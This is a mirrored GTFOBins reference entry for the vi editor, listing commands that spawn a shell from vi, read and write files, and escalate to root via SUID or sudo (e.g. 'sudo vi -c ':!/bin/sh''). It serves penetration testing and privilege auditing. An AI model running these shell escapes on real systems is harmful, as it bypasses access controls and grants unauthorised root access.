mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
22 lines
370 B
Markdown
22 lines
370 B
Markdown
---
|
|
functions:
|
|
execute-interactive:
|
|
- code: vi -c ':!/bin/sh'
|
|
- code: |
|
|
vi
|
|
:set shell=/bin/sh
|
|
:shell
|
|
file-write:
|
|
- code: |
|
|
vi file_to_write
|
|
iDATA
|
|
^[
|
|
w
|
|
file-read:
|
|
- code: vi file_to_read
|
|
suid-enabled:
|
|
- code: ./vi -c ':!/bin/sh -p'
|
|
sudo-enabled:
|
|
- code: sudo vi -c ':!/bin/sh'
|
|
---
|